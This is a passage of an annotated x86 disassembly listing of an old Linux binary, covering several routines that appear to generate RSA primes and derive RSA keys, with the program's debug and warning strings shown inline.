08053951  e8 ba 35 00 00           call   08056f10 <Unknown0172>
08053956  8b 45 e8                 mov    0xffffffe8(%ebp),%eax
08053959  89 45 10                 mov    %eax,0x10(%ebp)
0805395c  8b 45 f0                 mov    0xfffffff0(%ebp),%eax
0805395f  89 45 0c                 mov    %eax,0xc(%ebp)
08053962  89 45 08                 mov    %eax,0x8(%ebp)
08053965  83 c4 10                 add    $0x10,%esp
08053968  8d 65 f4                 lea    0xfffffff4(%ebp),%esp
0805396b  5b                       pop    %ebx
0805396c  5e                       pop    %esi
0805396d  5f                       pop    %edi
0805396e  5d                       pop    %ebp
0805396f  e9 90 d1 00 00           jmp    08060b04 <Unknown0313>  ;53648 'x90 xd1 x0 x0' ""


  ;
  ; >---------------------<  Subroutine #  85 >---------------------<
  ;
```

```
08053974 <Unknown0085>:
08053974  55                        push    %ebp
08053975  89 e5                     mov     %esp,%ebp
08053977  57                        push    %edi
08053978  56                        push    %esi
08053979  53                        push    %ebx
0805397a  83 ec 68                  sub     $0x68,%esp
0805397d  8d 45 d8                  lea     0xffffffd8(%ebp),%eax
08053980  50                        push    %eax
08053981  e8 42 d8 00 00            call    080611c8 <Unknown0319>
08053986  8d 45 c8                  lea     0xffffffc8(%ebp),%eax
08053989  89 04 24                  mov     %eax,(%esp,1)
0805398c  e8 37 d8 00 00            call    080611c8 <Unknown0319>
08053991  83 c4 10                  add     $0x10,%esp
08053994  53                        push    %ebx
08053995  ff 75 10                  pushl   0x10(%ebp)
08053998  8d 5d d8                  lea     0xffffffd8(%ebp),%ebx
0805399b  ff 75 0c                  pushl   0xc(%ebp)
0805399e  53                        push    %ebx
0805399f  e8 14 ff ff ff            call    080538b8 <Unknown0084>
080539a4  5a                        pop     %edx
080539a5  59                        pop     %ecx
080539a6  8d 75 c8                  lea     0xffffffc8(%ebp),%esi
080539a9  6a 03                     push    $0x3
080539ab  56                        push    %esi
080539ac  e8 ef eb 00 00            call    080625a0 <Unknown0337>
080539b1  8b 45 10                  mov     0x10(%ebp),%eax
080539b4  83 c4 0c                  add     $0xc,%esp
080539b7  83 e8 02                  sub     $0x2,%eax
080539ba  50                        push    %eax
080539bb  56                        push    %esi
080539bc  56                        push    %esi
080539bd  e8 b2 dd 00 00            call    08061774 <Unknown0324>
080539c2  83 c4 0c                  add     $0xc,%esp
080539c5  56                        push    %esi
080539c6  53                        push    %ebx
080539c7  53                        push    %ebx
080539c8  e8 23 d8 00 00            call    080611f0 <Unknown0320>
080539cd  5f                        pop     %edi
080539ce  58                        pop     %eax
080539cf  6a 01                     push    $0x1
080539d1  56                        push    %esi
080539d2  e8 c9 eb 00 00            call    080625a0 <Unknown0337>
080539d7  83 c4 0c                  add     $0xc,%esp
080539da  56                        push    %esi
080539db  53                        push    %ebx
080539dc  53                        push    %ebx
080539dd  e8 0e d8 00 00            call    080611f0 <Unknown0320>
080539e2  c7 04 24 68 10 00 00      movl    $0x1068,(%esp,1)   ;4200 'x68 x10 x0 x0' "h"
080539e9  e8 a2 34 00 00            call    08056e90 <Unknown0170>
080539ee  83 c4 10                  add     $0x10,%esp
080539f1  83 7d 10 0f               cmpl    $0xf,0x10(%ebp)
080539f5  89 45 c0                  mov     %eax,0xffffffc0(%ebp)
080539f8  c7 45 c4 00 00 00 00      movl    $0x0,0xffffffc4(%ebp)   ;0 'x0 x0 x0 x0' ""
080539ff  76 45                     jbe     08053a46 <Unknown0086+0xb>
08053a01  8b 0d 80 fa 06 08         mov     0x806fa80,%ecx   ;[in .rodata] 3 'x3 x0 x0 x0' ""
08053a07  85 c9                     test    %ecx,%ecx
08053a09  c7 45 c4 00 00 00 00      movl    $0x0,0xffffffc4(%ebp)   ;0 'x0 x0 x0 x0' ""
08053a10  74 34                     je      08053a46 <Unknown0086+0xb>
08053a12  bb 80 fa 06 08            mov     $0x806fa80,%ebx   ;[in .rodata] 3 'x3 x0 x0 x0' ""
08053a17  90                        nop
08053a18  52                        push    %edx
08053a19  ff 33                     pushl   (%ebx)
08053a1b  8d 45 d8                  lea     0xffffffd8(%ebp),%eax
08053a1e  50                        push    %eax
08053a1f  56                        push    %esi
08053a20  e8 87 d2 00 00            call    08060cac <Unknown0315>
08053a25  89 34 24                  mov     %esi,(%esp,1)
08053a28  e8 7f d7 00 00            call    080611ac <Unknown0318>
08053a2d  8b 55 c4                  mov     0xffffffc4(%ebp),%edx
08053a30  8b 4d c0                  mov     0xffffffc0(%ebp),%ecx
08053a33  89 04 91                  mov     %eax,(%ecx,%edx,4)
08053a36  42                        inc     %edx
08053a37  83 c3 04                  add     $0x4,%ebx
08053a3a  89 55 c4                  mov     %edx,0xffffffc4(%ebp)


 ;
 ; >---------------------<  Subroutine #  86 >---------------------<
 ;
08053a3b <Unknown0086>:
08053a3b  55                        push    %ebp
08053a3c  c4 8b 03 83 c4 10         les     0x10c48303(%ebx),%ecx   ;281314051 'x3 x83 xc4 x10' ""
08053a42  85 c0                     test    %eax,%eax
```

```
08053a44  75 d2                    jne      08053a18 <Unknown0085+0xa4>
08053a46  8d 45 c8                 lea      0xffffffc8(%ebp),%eax
08053a49  c7 45 bc 00 00 00 00     movl     $0x0,0xffffffbc(%ebp)    ;0 'x0 x0 x0 x0' ""
08053a50  89 45 b4                 mov      %eax,0xffffffb4(%ebp)
08053a53  90                       nop
08053a54  81 7d bc 00 00 00 70     cmpl     $0x70000000,0xffffffbc(%ebp)   ;1879048192 'x0 x0 x0 x70' ""
08053a5b  7e 33                    jle      08053a90 <Unknown0086+0x55>
08053a5d  8b 3d 18 7e 07 08        mov      0x8077e18,%edi    ;[in .data] 1 'x1 x0 x0 x0' ""
08053a63  85 ff                    test     %edi,%edi
08053a65  74 16                    je       08053a7d <Unknown0086+0x42>
08053a67  83 ec 08                 sub      $0x8,%esp
08053a6a  68 40 0b 07 08           push     $0x8070b40   ;[in .rodata] 1600222066 'x72 x73 x61 x5f'
                                                          "rsa_random_prime: failed to find a prime, retrying."
08053a6f  ff 35 0c 9c 07 08        pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
08053a75  e8 82 62 ff ff           call     08049cfc <fprintf>
08053a7a  83 c4 10                 add      $0x10,%esp
08053a7d  83 ec 0c                 sub      $0xc,%esp
08053a80  ff 75 c0                 pushl    0xffffffc0(%ebp)
08053a83  e8 88 34 00 00           call     08056f10 <Unknown0172>
08053a88  e9 04 ff ff ff           jmp      08053991 <Unknown0085+0x1d>   ;-252 'x4 xff xff xff' ""
08053a8d  8d 76 00                 lea      0x0(%esi),%esi
08053a90  c7 45 b8 00 00 00 00     movl     $0x0,0xffffffb8(%ebp)    ;0 'x0 x0 x0 x0' ""
08053a97  8b 55 c4                 mov      0xffffffc4(%ebp),%edx
08053a9a  39 55 b8                 cmp      %edx,0xffffffb8(%ebp)
08053a9d  73 54                    jae      08053af3 <Unknown0086+0xb8>
08053a9f  31 ff                    xor      %edi,%edi
08053aa1  8d 76 00                 lea      0x0(%esi),%esi
08053aa4  8b 4d c0                 mov      0xffffffc0(%ebp),%ecx
08053aa7  8b 14 39                 mov      (%ecx,%edi,1),%edx
08053aaa  8b 4d bc                 mov      0xffffffbc(%ebp),%ecx
08053aad  8d 04 11                 lea      (%ecx,%edx,1),%eax
08053ab0  3b 87 80 fa 06 08        cmp      0x806fa80(%edi),%eax   ;[in .rodata] 3 'x3 x0 x0 x0' ""
08053ab6  89 d3                    mov      %edx,%ebx
08053ab8  72 21                    jb       08053adb <Unknown0086+0xa0>
08053aba  89 f9                    mov      %edi,%ecx
08053abc  be 80 fa 06 08           mov      $0x806fa80,%esi   ;[in .rodata] 3 'x3 x0 x0 x0' ""
08053ac1  8d 76 00                 lea      0x0(%esi),%esi
08053ac4  89 da                    mov      %ebx,%edx
08053ac6  2b 14 31                 sub      (%ecx,%esi,1),%edx
08053ac9  8b 45 c0                 mov      0xffffffc0(%ebp),%eax
08053acc  89 14 38                 mov      %edx,(%eax,%edi,1)
08053acf  8b 45 bc                 mov      0xffffffbc(%ebp),%eax
08053ad2  01 d0                    add      %edx,%eax
08053ad4  3b 04 31                 cmp      (%ecx,%esi,1),%eax
08053ad7  89 d3                    mov      %edx,%ebx
08053ad9  73 e9                    jae      08053ac4 <Unknown0086+0x89>
08053adb  8b 4d bc                 mov      0xffffffbc(%ebp),%ecx
08053ade  8d 04 11                 lea      (%ecx,%edx,1),%eax
08053ae1  85 c0                    test     %eax,%eax
08053ae3  74 0e                    je       08053af3 <Unknown0086+0xb8>
08053ae5  ff 45 b8                 incl     0xffffffb8(%ebp)
08053ae8  8b 45 c4                 mov      0xffffffc4(%ebp),%eax
08053aeb  83 c7 04                 add      $0x4,%edi
08053aee  39 45 b8                 cmp      %eax,0xffffffb8(%ebp)
08053af1  72 b1                    jb       08053aa4 <Unknown0086+0x69>
08053af3  8b 55 c4                 mov      0xffffffc4(%ebp),%edx
08053af6  39 55 b8                 cmp      %edx,0xffffffb8(%ebp)
08053af9  0f 82 94 00 00 00        jb       08053b93 <Unknown0086+0x158>   ;148 'x94 x0 x0 x0' ""
08053aff  8b 35 18 7e 07 08        mov      0x8077e18,%esi   ;[in .data] 1 'x1 x0 x0 x0' ""
08053b05  85 f6                    test     %esi,%esi
08053b07  74 16                    je       08053b1f <Unknown0086+0xe4>
08053b09  83 ec 08                 sub      $0x8,%esp
08053b0c  68 75 0b 07 08           push     $0x8070b75   ;[in .rodata] 2818094 'x2e x0 x2b x0' "."
08053b11  ff 35 0c 9c 07 08        pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
08053b17  e8 e0 61 ff ff           call     08049cfc <fprintf>
08053b1c  83 c4 10                 add      $0x10,%esp
08053b1f  53                       push     %ebx
08053b20  8d 45 d8                 lea      0xffffffd8(%ebp),%eax
08053b23  ff 75 bc                 pushl    0xffffffbc(%ebp)
08053b26  50                       push     %eax
08053b27  ff 75 08                 pushl    0x8(%ebp)
08053b2a  e8 79 cb 00 00           call     080606a8 <Unknown0306>
08053b2f  5a                       pop      %edx
08053b30  59                       pop      %ecx
08053b31  6a 02                    push     $0x2
08053b33  ff 75 b4                 pushl    0xffffffb4(%ebp)
08053b36  e8 65 ea 00 00           call     080625a0 <Unknown0337>
08053b3b  ff 75 08                 pushl    0x8(%ebp)
08053b3e  ff 75 08                 pushl    0x8(%ebp)
08053b41  ff 75 b4                 pushl    0xffffffb4(%ebp)
08053b44  ff 75 b4                 pushl    0xffffffb4(%ebp)
08053b47  e8 c0 df 00 00           call     08061b0c <Unknown0327>
```

```
08053b4c  83 c4 18            add    $0x18,%esp
08053b4f  6a 02               push   $0x2
08053b51  ff 75 b4            pushl  0xffffffb4(%ebp)
08053b54  e8 17 cd 00 00      call   08060870 <Unknown0309>
08053b59  83 c4 10            add    $0x10,%esp
08053b5c  85 c0               test   %eax,%eax
08053b5e  75 33               jne    08053b93 <Unknown0086+0x158>
08053b60  a1 18 7e 07 08      mov    0x8077e18,%eax   ;[in .data] 1 'x1 x0 x0 x0' ""
08053b65  85 c0               test   %eax,%eax
08053b67  74 16               je     08053b7f <Unknown0086+0x144>
08053b69  83 ec 08            sub    $0x8,%esp
08053b6c  68 77 0b 07 08      push   $0x8070b77   ;[in .rodata] 539689003 'x2b x0 x2b x20' "+"
08053b71  ff 35 0c 9c 07 08   pushl  0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                      (Red Hat Linux 7.1 2.96-79)"
08053b77  e8 80 61 ff ff      call   08049cfc <fprintf>
08053b7c  83 c4 10            add    $0x10,%esp
08053b7f  83 ec 08            sub    $0x8,%esp
08053b82  6a 14               push   $0x14
08053b84  ff 75 08            pushl  0x8(%ebp)
08053b87  e8 ec e5 00 00      call   08062178 <Unknown0329>
08053b8c  83 c4 10            add    $0x10,%esp
08053b8f  85 c0               test   %eax,%eax
08053b91  75 09               jne    08053b9c <Unknown0086+0x161>
08053b93  83 45 bc 02         addl   $0x2,0xffffffbc(%ebp)
08053b97  e9 b8 fe ff ff      jmp    08053a54 <Unknown0086+0x19>   ;-328 'xb8 xfe xff xff' ""
08053b9c  8b 3d 18 7e 07 08   mov    0x8077e18,%edi   ;[in .data] 1 'x1 x0 x0 x0' ""
08053ba2  85 ff               test   %edi,%edi
08053ba4  74 17               je     08053bbd <Unknown0086+0x182>
08053ba6  56                  push   %esi
08053ba7  ff 75 bc            pushl  0xffffffbc(%ebp)
08053baa  68 79 0b 07 08      push   $0x8070b79   ;[in .rodata] 1680351275 'x2b x20 x28 x64' "+ (distance
                                                      %ld)"
08053baf  ff 35 0c 9c 07 08   pushl  0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                      (Red Hat Linux 7.1 2.96-79)"
08053bb5  e8 42 61 ff ff      call   08049cfc <fprintf>
08053bba  83 c4 10            add    $0x10,%esp
08053bbd  83 ec 0c            sub    $0xc,%esp
08053bc0  ff 75 c0            pushl  0xffffffc0(%ebp)
08053bc3  e8 48 33 00 00      call   08056f10 <Unknown0172>
08053bc8  8b 45 10            mov    0x10(%ebp),%eax
08053bcb  83 c4 0c            add    $0xc,%esp
08053bce  48                  dec    %eax
08053bcf  50                  push   %eax
08053bd0  ff 75 08            pushl  0x8(%ebp)
08053bd3  8d 5d c8            lea    0xffffffc8(%ebp),%ebx
08053bd6  53                  push   %ebx
08053bd7  e8 e0 cc 00 00      call   080608bc <Unknown0310>
08053bdc  89 1c 24            mov    %ebx,(%esp,1)
08053bdf  e8 c8 d5 00 00      call   080611ac <Unknown0318>
08053be4  83 c4 10            add    $0x10,%esp
08053be7  48                  dec    %eax
08053be8  74 26               je     08053c10 <Unknown0087+0x17>
08053bea  8b 1d 18 7e 07 08   mov    0x8077e18,%ebx   ;[in .data] 1 'x1 x0 x0 x0' ""
08053bf0  85 db               test   %ebx,%ebx
08053bf2  0f 84 9c fd ff ff   je     08053994 <Unknown0085+0x20>   ;-612 'x9c xfd xff xff' ""
08053bf8  83 ec 08            sub    $0x8,%esp


   ;
   ; >--------------------< Subroutine #  87 >--------------------<
   ;
08053bf9 <Unknown0087>:
08053bf9  ec                  in     (%dx),%al
08053bfa  08 68 a0            or     %ch,0xffffffa0(%eax)
08053bfd  0b 07               or     (%edi),%eax
08053bff  08 ff               or     %bh,%bh
08053c01  35 0c 9c 07 08      xor    $0x8079c0c,%eax   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96
                                                          20000731 (Red Hat Linux 7.1 2.96-79)"
08053c06  e8 f1 60 ff ff      call   08049cfc <fprintf>
08053c0b  e9 81 fd ff ff      jmp    08053991 <Unknown0085+0x1d>   ;-639 'x81 xfd xff xff' ""
08053c10  83 ec 0c            sub    $0xc,%esp
08053c13  8d 45 d8            lea    0xffffffd8(%ebp),%eax
08053c16  50                  push   %eax
08053c17  e8 e4 cb 00 00      call   08060800 <Unknown0307>
08053c1c  89 1c 24            mov    %ebx,(%esp,1)
08053c1f  e8 dc cb 00 00      call   08060800 <Unknown0307>
08053c24  8d 65 f4            lea    0xfffffff4(%ebp),%esp
08053c27  5b                  pop    %ebx
08053c28  5e                  pop    %esi
08053c29  5f                  pop    %edi
08053c2a  5d                  pop    %ebp
08053c2b  c3                  ret
```

```
        ;
        ; >---------------------<  Subroutine #  88 >---------------------<
        ;
08053c2c <Unknown0088>:
08053c2c  55                       push   %ebp
08053c2d  89 e5                    mov    %esp,%ebp
08053c2f  57                       push   %edi
08053c30  56                       push   %esi
08053c31  53                       push   %ebx
08053c32  81 ec 94 00 00 00        sub    $0x94,%esp   ;148 'x94 x0 x0 x0' ""
08053c38  ff 75 10                 pushl  0x10(%ebp)
08053c3b  8d 45 d8                 lea    0xffffffd8(%ebp),%eax
08053c3e  8b 5d 0c                 mov    0xc(%ebp),%ebx
08053c41  50                       push   %eax
08053c42  e8 fd d9 00 00           call   08061644 <Unknown0321>
08053c47  5f                       pop    %edi
08053c48  58                       pop    %eax
08053c49  53                       push   %ebx
08053c4a  8d 45 c8                 lea    0xffffffc8(%ebp),%eax
08053c4d  50                       push   %eax
08053c4e  e8 f1 d9 00 00           call   08061644 <Unknown0321>
08053c53  5b                       pop    %ebx
08053c54  5e                       pop    %esi
08053c55  6a 00                    push   $0x0
08053c57  8d 45 b8                 lea    0xffffffb8(%ebp),%eax
08053c5a  50                       push   %eax
08053c5b  e8 4c da 00 00           call   080616ac <Unknown0322>
08053c60  5a                       pop    %edx
08053c61  59                       pop    %ecx
08053c62  6a 01                    push   $0x1
08053c64  8d 45 a8                 lea    0xffffffa8(%ebp),%eax
08053c67  50                       push   %eax
08053c68  e8 3f da 00 00           call   080616ac <Unknown0322>
08053c6d  8d 45 98                 lea    0xffffff98(%ebp),%eax
08053c70  89 04 24                 mov    %eax,(%esp,1)
08053c73  e8 50 d5 00 00           call   080611c8 <Unknown0319>
08053c78  8d 45 88                 lea    0xffffff88(%ebp),%eax
08053c7b  89 04 24                 mov    %eax,(%esp,1)
08053c7e  e8 45 d5 00 00           call   080611c8 <Unknown0319>
08053c83  8d 85 78 ff ff ff        lea    0xffffff78(%ebp),%eax   ;-136 'x78 xff xff xff' "x"
08053c89  89 04 24                 mov    %eax,(%esp,1)
08053c8c  e8 37 d5 00 00           call   080611c8 <Unknown0319>
08053c91  e9 83 00 00 00           jmp    08053d19 <Unknown0088+0xed>   ;131 'x83 x0 x0 x0' ""
08053c96  89 f6                    mov    %esi,%esi
08053c98  8d 45 c8                 lea    0xffffffc8(%ebp),%eax
08053c9b  50                       push   %eax
08053c9c  89 85 74 ff ff ff        mov    %eax,0xffffff74(%ebp)   ;-140 'x74 xff xff xff' "t"
08053ca2  8d 45 d8                 lea    0xffffffd8(%ebp),%eax
08053ca5  50                       push   %eax
08053ca6  89 85 70 ff ff ff        mov    %eax,0xffffff70(%ebp)   ;-144 'x70 xff xff xff' "p"
08053cac  8d 45 88                 lea    0xffffff88(%ebp),%eax
08053caf  50                       push   %eax
08053cb0  8d 5d 98                 lea    0xffffff98(%ebp),%ebx
08053cb3  89 85 6c ff ff ff        mov    %eax,0xffffff6c(%ebp)   ;-148 'x6c xff xff xff' "l"
08053cb9  53                       push   %ebx
08053cba  e8 b1 cd 00 00           call   08060a70 <Unknown0312>
08053cbf  83 c4 0c                 add    $0xc,%esp
08053cc2  8d 7d a8                 lea    0xffffffa8(%ebp),%edi
08053cc5  57                       push   %edi
08053cc6  53                       push   %ebx
08053cc7  8d b5 78 ff ff ff        lea    0xffffff78(%ebp),%esi   ;-136 'x78 xff xff xff' "x"
08053ccd  56                       push   %esi
08053cce  e8 7d db 00 00           call   08061850 <Unknown0325>
08053cd3  83 c4 0c                 add    $0xc,%esp
08053cd6  56                       push   %esi
08053cd7  8d 5d b8                 lea    0xffffffb8(%ebp),%ebx
08053cda  53                       push   %ebx
08053cdb  56                       push   %esi
08053cdc  e8 87 e9 00 00           call   08062668 <Unknown0340>
08053ce1  59                       pop    %ecx
08053ce2  58                       pop    %eax
08053ce3  57                       push   %edi
08053ce4  53                       push   %ebx
08053ce5  e8 b6 e6 00 00           call   080623a0 <Unknown0333>
08053cea  58                       pop    %eax
08053ceb  5a                       pop    %edx
08053cec  56                       push   %esi
08053ced  57                       push   %edi
08053cee  e8 ad e6 00 00           call   080623a0 <Unknown0333>
08053cf3  59                       pop    %ecx
08053cf4  5b                       pop    %ebx
08053cf5  ff b5 74 ff ff ff        pushl  0xffffff74(%ebp)   ;-140 'x74 xff xff xff' "t"
08053cfb  ff b5 70 ff ff ff        pushl  0xffffff70(%ebp)   ;-144 'x70 xff xff xff' "p"
08053d01  e8 9a e6 00 00           call   080623a0 <Unknown0333>
```

```
08053d06   58                          pop     %eax
08053d07   5a                          pop     %edx
08053d08   ff b5 6c ff ff ff           pushl   0xffffff6c(%ebp)   ;-148 'x6c xff xff xff' "l"
08053d0e   ff b5 74 ff ff ff           pushl   0xffffff74(%ebp)   ;-140 'x74 xff xff xff' "t"
08053d14   e8 87 e6 00 00              call    080623a0 <Unknown0333>
08053d19   8b 45 cc                    mov     0xffffffcc(%ebp),%eax
08053d1c   83 c4 10                    add     $0x10,%esp
08053d1f   85 c0                       test    %eax,%eax
08053d21   0f 88 71 ff ff ff           js      08053c98 <Unknown0088+0x6c>   ;-143 'x71 xff xff xff' "q"
08053d27   85 c0                       test    %eax,%eax
08053d29   0f 8f 69 ff ff ff           jg      08053c98 <Unknown0088+0x6c>   ;-151 'x69 xff xff xff' "i"
08053d2f   8b 7d bc                    mov     0xffffffbc(%ebp),%edi
08053d32   85 ff                       test    %edi,%edi
08053d34   79 12                       jns     08053d48 <Unknown0088+0x11c>
08053d36   56                          push    %esi
08053d37   ff 75 10                    pushl   0x10(%ebp)
08053d3a   8d 45 b8                    lea     0xffffffb8(%ebp),%eax
08053d3d   50                          push    %eax
08053d3e   ff 75 08                    pushl   0x8(%ebp)
08053d41   e8 da c6 00 00              call    08060420 <Unknown0305>
08053d46   eb 0f                       jmp     08053d57 <Unknown0088+0x12b>
08053d48   83 ec 08                    sub     $0x8,%esp
08053d4b   8d 45 b8                    lea     0xffffffb8(%ebp),%eax
08053d4e   50                          push    %eax
08053d4f   ff 75 08                    pushl   0x8(%ebp)
08053d52   e8 49 e6 00 00              call    080623a0 <Unknown0333>
08053d57   83 c4 10                    add     $0x10,%esp
08053d5a   83 ec 0c                    sub     $0xc,%esp
08053d5d   8d 45 d8                    lea     0xffffffd8(%ebp),%eax
08053d60   50                          push    %eax
08053d61   e8 9a ca 00 00              call    08060800 <Unknown0307>
08053d66   8d 45 c8                    lea     0xffffffc8(%ebp),%eax
08053d69   89 04 24                    mov     %eax,(%esp,1)
08053d6c   e8 8f ca 00 00              call    08060800 <Unknown0307>
08053d71   8d 45 b8                    lea     0xffffffb8(%ebp),%eax
08053d74   89 04 24                    mov     %eax,(%esp,1)
08053d77   e8 84 ca 00 00              call    08060800 <Unknown0307>
08053d7c   8d 45 a8                    lea     0xffffffa8(%ebp),%eax
08053d7f   89 04 24                    mov     %eax,(%esp,1)
08053d82   e8 79 ca 00 00              call    08060800 <Unknown0307>
08053d87   8d 45 98                    lea     0xffffff98(%ebp),%eax
08053d8a   89 04 24                    mov     %eax,(%esp,1)
08053d8d   e8 6e ca 00 00              call    08060800 <Unknown0307>
08053d92   8d 45 88                    lea     0xffffff88(%ebp),%eax
08053d95   89 04 24                    mov     %eax,(%esp,1)
08053d98   e8 63 ca 00 00              call    08060800 <Unknown0307>
08053d9d   8d 85 78 ff ff ff           lea     0xffffff78(%ebp),%eax   ;-136 'x78 xff xff xff' "x"
08053da3   89 04 24                    mov     %eax,(%esp,1)
08053da6   e8 55 ca 00 00              call    08060800 <Unknown0307>
08053dab   8d 65 f4                    lea     0xfffffff4(%ebp),%esp
08053dae   5b                          pop     %ebx
08053daf   5e                          pop     %esi
08053db0   5f                          pop     %edi
08053db1   5d                          pop     %ebp
08053db2   c3                          ret
08053db3   90                          nop


;
; >---------------------< Subroutine #  89 >---------------------<
;
08053db4 <Unknown0089>:
08053db4   55                          push    %ebp
08053db5   89 e5                       mov     %esp,%ebp
08053db7   57                          push    %edi
08053db8   56                          push    %esi
08053db9   53                          push    %ebx
08053dba   81 ec 84 00 00 00           sub     $0x84,%esp   ;132 'x84 x0 x0 x0' ""
08053dc0   ff 75 1c                    pushl   0x1c(%ebp)
08053dc3   ff 75 18                    pushl   0x18(%ebp)
08053dc6   e8 51 ca 00 00              call    0806081c <Unknown0308>
08053dcb   83 c4 10                    add     $0x10,%esp
08053dce   85 c0                       test    %eax,%eax
08053dd0   78 1a                       js      08053dec <Unknown0089+0x38>
08053dd2   68 cf 0b 07 08              push    $0x8070bcf   ;[in .rodata] 1769104740 'x64 x65 x72 x69'
                                                            "derive_rsa_keys"
08053dd7   68 95 01 00 00              push    $0x195   ;405 'x95 x1 x0 x0' ""
08053ddc   68 df 0b 07 08              push    $0x8070bdf   ;[in .rodata] 778138482 'x72 x73 x61 x2e' "rsa.c"
08053de1   68 e5 0b 07 08              push    $0x8070be5   ;[in .rodata] 1601859693 'x6d x70 x7a x5f' "mpz_cmp(p,
                                                            q) < 0"
08053de6   e8 e1 5f ff ff              call    08049dcc <__assert_fail>
08053deb   90                          nop
08053dec   83 ec 0c                    sub     $0xc,%esp
08053def   8d 75 d8                    lea     0xffffffd8(%ebp),%esi
```

```
08053df2  56                     push   %esi
08053df3  8d 5d c8               lea    0xffffffc8(%ebp),%ebx
08053df6  e8 cd d3 00 00         call   080611c8 <Unknown0319>
08053dfb  89 1c 24               mov    %ebx,(%esp,1)
08053dfe  e8 c5 d3 00 00         call   080611c8 <Unknown0319>
08053e03  8d 45 b8               lea    0xffffffb8(%ebp),%eax
08053e06  89 04 24               mov    %eax,(%esp,1)
08053e09  8d 7d a8               lea    0xffffffa8(%ebp),%edi
08053e0c  e8 b7 d3 00 00         call   080611c8 <Unknown0319>
08053e11  89 3c 24               mov    %edi,(%esp,1)
08053e14  e8 af d3 00 00         call   080611c8 <Unknown0319>
08053e19  8d 45 98               lea    0xffffff98(%ebp),%eax
08053e1c  89 04 24               mov    %eax,(%esp,1)
08053e1f  89 45 84               mov    %eax,0xffffff84(%ebp)
08053e22  e8 a1 d3 00 00         call   080611c8 <Unknown0319>
08053e27  8d 45 88               lea    0xffffff88(%ebp),%eax
08053e2a  89 04 24               mov    %eax,(%esp,1)
08053e2d  e8 96 d3 00 00         call   080611c8 <Unknown0319>
08053e32  83 c4 0c               add    $0xc,%esp
08053e35  6a 01                  push   $0x1
08053e37  ff 75 18               pushl  0x18(%ebp)
08053e3a  56                     push   %esi
08053e3b  e8 b0 ea 00 00         call   080628f0 <Unknown0341>
08053e40  83 c4 0c               add    $0xc,%esp
08053e43  6a 01                  push   $0x1
08053e45  ff 75 1c               pushl  0x1c(%ebp)
08053e48  53                     push   %ebx
08053e49  e8 a2 ea 00 00         call   080628f0 <Unknown0341>
08053e4e  83 c4 0c               add    $0xc,%esp
08053e51  53                     push   %ebx
08053e52  56                     push   %esi
08053e53  57                     push   %edi
08053e54  e8 f7 d9 00 00         call   08061850 <Unknown0325>
08053e59  83 c4 0c               add    $0xc,%esp
08053e5c  53                     push   %ebx
08053e5d  56                     push   %esi
08053e5e  ff 75 84               pushl  0xffffff84(%ebp)
08053e61  e8 9a ce 00 00         call   08060d00 <Unknown0316>
08053e66  a1 18 7e 07 08         mov    0x8077e18,%eax   ;[in .data] 1 'x1 x0 x0 x0' ""
08053e6b  83 c4 10               add    $0x10,%esp
08053e6e  85 c0                  test   %eax,%eax
08053e70  74 4f                  je     08053ec1 <Unknown0089+0x10d>
08053e72  83 ec 08               sub    $0x8,%esp
08053e75  6a 64                  push   $0x64
08053e77  ff 75 84               pushl  0xffffff84(%ebp)
08053e7a  e8 f1 c9 00 00         call   08060870 <Unknown0309>
08053e7f  83 c4 10               add    $0x10,%esp
08053e82  85 c0                  test   %eax,%eax
08053e84  78 3b                  js     08053ec1 <Unknown0089+0x10d>
08053e86  83 ec 08               sub    $0x8,%esp
08053e89  68 f7 0b 07 08         push   $0x8070bf7   ;[in .rodata] 1852989783 'x57 x61 x72 x6e' "Warning:
                                                       G="
08053e8e  ff 35 0c 9c 07 08      pushl  0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                       (Red Hat Linux 7.1 2.96-79)"
08053e94  e8 63 5e ff ff         call   08049cfc <fprintf>
08053e99  83 c4 0c               add    $0xc,%esp
08053e9c  ff 75 84               pushl  0xffffff84(%ebp)
08053e9f  6a 0a                  push   $0xa
08053ea1  ff 35 08 9c 07 08      pushl  0x8079c08    ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                       20000731 (Red Hat Linux 7.1 2.96-79)"
08053ea7  e8 00 db 00 00         call   080619ac <Unknown0326>
08053eac  5e                     pop    %esi
08053ead  5f                     pop    %edi
08053eae  68 20 0c 07 08         push   $0x8070c20   ;[in .rodata] 544434464 'x20 x69 x73 x20' " is large
                                                       (many spare key sets); key may be bad!"
08053eb3  ff 35 0c 9c 07 08      pushl  0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                       (Red Hat Linux 7.1 2.96-79)"
08053eb9  e8 3e 5e ff ff         call   08049cfc <fprintf>
08053ebe  83 c4 10               add    $0x10,%esp
08053ec1  53                     push   %ebx
08053ec2  8d 45 98               lea    0xffffff98(%ebp),%eax
08053ec5  50                     push   %eax
08053ec6  8d 45 a8               lea    0xffffffa8(%ebp),%eax
08053ec9  50                     push   %eax
08053eca  8d 45 88               lea    0xffffff88(%ebp),%eax
08053ecd  50                     push   %eax
08053ece  e8 31 cb 00 00         call   08060a04 <Unknown0311>
08053ed3  5a                     pop    %edx
08053ed4  59                     pop    %ecx
08053ed5  6a 01                  push   $0x1
08053ed7  ff 75 0c               pushl  0xc(%ebp)
08053eda  e8 c1 e6 00 00         call   080625a0 <Unknown0337>
08053edf  83 c4 0c               add    $0xc,%esp
08053ee2  ff 75 20               pushl  0x20(%ebp)
```

```
08053ee5  ff 75 0c              pushl   0xc(%ebp)
08053ee8  ff 75 0c              pushl   0xc(%ebp)
08053eeb  e8 84 d8 00 00        call    08061774 <Unknown0324>
08053ef0  83 c4 0c              add     $0xc,%esp
08053ef3  6a 01                 push    $0x1
08053ef5  ff 75 0c              pushl   0xc(%ebp)
08053ef8  ff 75 0c              pushl   0xc(%ebp)
08053efb  e8 f0 e9 00 00        call    080628f0 <Unknown0341>
08053f00  83 c4 10              add     $0x10,%esp
08053f03  8d 5d b8              lea     0xffffffb8(%ebp),%ebx
08053f06  89 f6                 mov     %esi,%esi
08053f08  50                    push    %eax
